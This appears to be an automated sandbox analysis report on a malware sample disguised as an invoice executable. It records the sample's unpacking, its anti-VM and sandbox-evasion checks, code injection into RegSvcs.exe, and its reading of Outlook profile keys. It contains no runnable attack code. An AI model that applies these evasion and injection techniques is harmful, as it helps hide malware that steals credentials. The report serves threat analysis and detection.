Source: C:\Users\user\Desktop\Invoice and BL.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe {path}

Source: C:\Users\user\Desktop\Invoice and BL.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Source: Invoice and BL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Invoice and BL.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000007.00000002.294503842.0000000000832000.00000002.00020000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: Invoice and BL.exe, NodeGraphControl/frmGiris.cs	.Net Code: X_123123454363 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.Invoice and BL.exe.370000.0.unpack, NodeGraphControl/frmGiris.cs	.Net Code: X_123123454363 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.Invoice and BL.exe.370000.0.unpack, NodeGraphControl/frmGiris.cs	.Net Code: X_123123454363 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Yara detected aPLib compressed binary

Show sources

Source: Yara match	File source: 0.2.Invoice and BL.exe.397e408.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice and BL.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5412, type: MEMORYSTR

Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD2A48 push esp; iretd
Source: C:\Users\user\Desktop\Invoice and BL.exe	Code function: 0_2_00BD67A6 push esp; retf 0021h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00402AC0 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00402AC0 push eax; ret

Source: initial sample

Static PE information: section name: .text entropy: 7.07527531972

Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Invoice and BL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: Invoice and BL.exe PID: 1152, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Invoice and BL.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Invoice and BL.exe TID: 908

Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: C:\Users\user\Desktop\Invoice and BL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 60000

Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Invoice and BL.exe, 00000000.00000002.289295785.00000000028E6000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: RegSvcs.exe, 00000007.00000002.294755116.0000000000F48000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Invoice and BL.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_0041289A LdrInitializeThunk,

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_0040317B mov eax, dword ptr fs:[00000030h]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_00402B7C GetProcessHeap,RtlAllocateHeap,

Source: C:\Users\user\Desktop\Invoice and BL.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\Invoice and BL.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Invoice and BL.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\Invoice and BL.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Users\user\Desktop\Invoice and BL.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000
Source: C:\Users\user\Desktop\Invoice and BL.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 415000
Source: C:\Users\user\Desktop\Invoice and BL.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 41A000
Source: C:\Users\user\Desktop\Invoice and BL.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 4A0000
Source: C:\Users\user\Desktop\Invoice and BL.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: BA2008

Source: C:\Users\user\Desktop\Invoice and BL.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe {path}

Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Users\user\Desktop\Invoice and BL.exe VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
